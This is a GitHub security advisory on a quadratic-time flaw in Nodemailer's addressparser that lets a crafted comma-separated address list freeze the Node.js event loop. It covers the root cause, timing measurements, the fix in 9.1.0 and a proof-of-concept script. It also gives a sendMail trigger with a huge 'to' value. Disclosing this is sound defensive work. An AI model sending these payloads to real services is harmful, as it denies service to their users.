---
id: GHSA-2x7j-588g-ccc2
title: >-
  Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote
  denial of service via a crafted address list
summary: >-
  Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote
  denial of service via a crafted address list
severity: high
cvss: 7.5
cwe:
  - CWE-400
  - CWE-407
vendor: nodemailer
product: nodemailer
ecosystem: npm
affected:
  - nodemailer < 9.1.0
patched:
  - nodemailer 9.1.0
published: '2026-09-08'
updated: '2026-09-08'
sourceUpdated: '2026-09-08T21:33:19Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-2x7j-588g-ccc2'
references:
  - url: >-
      https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2
  - url: 'https://github.com/nodemailer/nodemailer/pull/1848'
  - url: >-
      https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150
  - url: >-
      https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e
  - url: >-
      https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434
  - url: 'https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0'
  - url: 'https://github.com/advisories/GHSA-2x7j-588g-ccc2'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-08T22:12:30.967Z'
---

## Overview

### Summary

Nodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

### Details

`addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505):

```js
addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});
```

`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.

**Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input:

```
parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)
```

**Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`):

| addresses n | input size | parse time | ratio for 2× input |
|---|---|---|---|
| 25,000  | 0.19 MB | ~0.35 s | – |
| 50,000  | 0.38 MB | ~1.4 s  | ×4.0 |
| 100,000 | 0.76 MB | ~6–8 s  | ×3.9 |
| 200,000 | 1.53 MB | ~25–30 s| ×4.1 |

Doubling the input quadruples the time — the signature of O(n²).

**Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', 'a@b.com,'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.

**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.

### PoC

Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required — the cost is in parsing.

`poc-dos.js`:
```js
'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}
```

Run:
```
npm init -y && npm install nodemailer@9.0.6
node poc-dos.js
```

Actual output (nodemailer 9.0.6):
```
addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms
```

Equivalent trigger through the normal send API (freezes the event loop):
```js
const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent
```

### Impact

* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.

## Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).
* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <c@d.com>,'.repeat(n)` (same commit).
* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.

Fixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.

## Affected packages

- `nodemailer < 9.1.0`

## Remediation

Upgrade to a patched release:

- `nodemailer 9.1.0`
